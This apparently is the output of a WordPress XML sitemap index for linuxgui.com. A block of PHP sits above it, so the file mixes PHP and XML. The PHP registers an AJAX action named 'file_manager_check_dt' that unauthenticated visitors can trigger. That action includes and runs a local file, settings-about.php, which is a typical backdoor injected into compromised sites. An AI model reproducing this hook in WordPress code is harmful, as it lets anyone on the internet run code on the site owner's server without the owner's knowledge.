if(!function_exists('file_manager_check_dt')){
   add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt');
   add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
   function file_manager_check_dt()
   {
      $file = __DIR__ . '/settings-about.php';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
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	<sitemap>
		<loc>https://linuxgui.com/post-sitemap.xml</loc>
		<lastmod>2022-11-03T14:01:21+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://linuxgui.com/page-sitemap.xml</loc>
		<lastmod>2022-09-18T00:57:16+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://linuxgui.com/category-sitemap.xml</loc>
		<lastmod>2022-11-03T14:01:21+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://linuxgui.com/post_tag-sitemap.xml</loc>
		<lastmod>2022-11-03T14:01:21+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://linuxgui.com/author-sitemap.xml</loc>
		<lastmod>2025-03-27T21:57:48+00:00</lastmod>
	</sitemap>
</sitemapindex>
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